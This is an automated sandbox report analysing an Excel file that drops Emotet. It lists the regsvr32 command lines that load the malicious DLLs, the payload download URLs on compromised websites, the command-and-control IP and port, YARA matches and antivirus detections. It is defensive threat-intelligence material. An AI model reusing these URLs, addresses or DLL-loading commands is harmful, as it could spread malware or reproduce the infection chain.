Source: C:\Windows\System32\regsvr32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_3-16379

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.6 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.6 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 7.7 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 7.7 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	4_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	6_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	8_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	10_2_000000018000BEF0

Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16381
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16530
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: regsvr32.exe, 00000007.00000002.932271979.000000000023A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_000007FEF9D23280

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30215 _itow_s,_invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcsftime_l,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_snwprintf_s,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_oneof,_invoke_watson_if_error,_unlock,GetFileType,WriteConsoleW,GetLastError,_invoke_watson_if_oneof,WriteFile,WriteFile,OutputDebugStringW,_itow_s,_invoke_watson_if_error,

3_2_000007FEF9D30215

Source: C:\Windows\System32\regsvr32.exe

3_2_000007FEF9D30CC0

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_000007FEF9D23280
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000007FEF9D2BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74F3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_000007FEF74F3280
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74FBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000007FEF74FBE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000007FEF70CBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_000007FEF70CBE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000007FEF70C3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_000007FEF70C3280
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF706BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000007FEF706BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF7063280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_000007FEF7063280

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 165.22.73.229 8080

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MreGm\Zazriwdkuo.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AnDDvm\lwQjfM.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IvkabqgmpEJ\fEKh.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28900 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_000007FEF9D28900

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28860 HeapCreate,GetVersion,HeapSetInformation,

3_2_000007FEF9D28860

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 6.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.4f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.450000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1fe0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.917379514.0000000001FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.947582927.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1214454935.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.932534809.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1215133055.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1215258266.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.932327058.00000000002E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.925354980.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1214677851.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.946842260.0000000000450000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1215228939.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1214643345.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1214621068.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.925541937.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	Path Interception	111 Process Injection	131 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	13 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	22 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Scripting	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	16 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Regsvr32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Datei_26744565.xls	39%	ReversingLabs	Document-Excel.Trojan.Abracadabra

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr3.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr1.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr4.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr2.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	61%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr1.ocx	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr2.ocx	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr3.ocx	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr4.ocx	29%	Metadefender		Browse
C:\Users\user\uxevr4.ocx	61%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\AnDDvm\lwQjfM.dll (copy)	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\IvkabqgmpEJ\fEKh.dll (copy)	29%	Metadefender		Browse
C:\Windows\System32\IvkabqgmpEJ\fEKh.dll (copy)	61%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\MreGm\Zazriwdkuo.dll (copy)	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll (copy)	59%	ReversingLabs	Win64.Trojan.Emotet

Unpacked PE Files

Source	Detection	Scanner	Label	Download
9.2.regsvr32.exe.450000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
6.2.regsvr32.exe.3c0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
4.2.regsvr32.exe.3c0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
10.2.regsvr32.exe.3c0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
7.2.regsvr32.exe.2e0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
5.2.regsvr32.exe.4f0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
3.2.regsvr32.exe.1fe0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
8.2.regsvr32.exe.1c0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File

Domains

Source	Detection	Scanner	Link
kolejleri.com	12%	Virustotal	Browse
milanstaffing.com	7%	Virustotal	Browse
learnviaonline.com	9%	Virustotal	Browse
stainedglassexpress.com	5%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://learnviaonline.com/wp-admin/qGb/	14%	Virustotal		Browse
http://learnviaonline.com/wp-admin/qGb/	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.comodoc	0%	Avira URL Cloud	safe
http://milanstaffing.com/images/D4TRnDubF/	13%	Virustotal		Browse
http://milanstaffing.com/images/D4TRnDubF/	100%	Avira URL Cloud	malware
http://kolejleri.com/wp-admin/REvup/	18%	Virustotal		Browse
http://kolejleri.com/wp-admin/REvup/	100%	Avira URL Cloud	malware
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://165.22.73.229:8080/	0%	Avira URL Cloud	safe
https://165.22.73.229/	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
https://165.22.73.229/E&	0%	Avira URL Cloud	safe
https://secure.comodo.co	0%	Avira URL Cloud	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://crl.com	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
https://165.22.73.229:8080/4	0%	Avira URL Cloud	safe
https://165.22.73.229:8080/0	0%	Avira URL Cloud	safe
https://165.22.73.229/d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kolejleri.com	85.114.142.153	true	true	12%, Virustotal, Browse	unknown
milanstaffing.com	107.189.3.39	true	false	7%, Virustotal, Browse	unknown
learnviaonline.com	103.171.181.223	true	false	9%, Virustotal, Browse	unknown
stainedglassexpress.com	66.71.247.68	true	false	5%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://learnviaonline.com/wp-admin/qGb/	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://milanstaffing.com/images/D4TRnDubF/	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://kolejleri.com/wp-admin/REvup/	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.comodoc	regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://165.22.73.229:8080/	regsvr32.exe, 00000004.00000002.1214570294.00000000001DE000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.982445860.00000000001DE000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1214943088.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214621472.0000000000295000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://165.22.73.229/	regsvr32.exe, 00000004.00000002.1214570294.00000000001DE000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.982445860.00000000001DE000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1214569548.000000000015A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1214649654.0000000000305000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214621472.0000000000295000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://165.22.73.229/E&	regsvr32.exe, 0000000A.00000002.1214621472.0000000000295000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.co	regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.com	regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214961522.0000000002F30000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1214603254.00000000002DC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	false		high
https://165.22.73.229:8080/4	regsvr32.exe, 00000008.00000002.1214675657.000000000030B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214961522.0000000002F30000.00000004.00000020.00020000.00000000.sdmp	false		high
https://165.22.73.229:8080/0	regsvr32.exe, 00000008.00000002.1214675657.000000000030B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://165.22.73.229/d	regsvr32.exe, 00000006.00000002.1214569548.000000000015A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.114.142.153	kolejleri.com	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	true
103.171.181.223	learnviaonline.com	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
107.189.3.39	milanstaffing.com	United States	53667	PONYNETUS	false
165.22.73.229	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
66.71.247.68	stainedglassexpress.com	United States	46562	TOTAL-SERVER-SOLUTIONSUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	632101
Start date and time: 23/05/202209:49:07	2022-05-23 09:49:07 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Datei_26744565.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
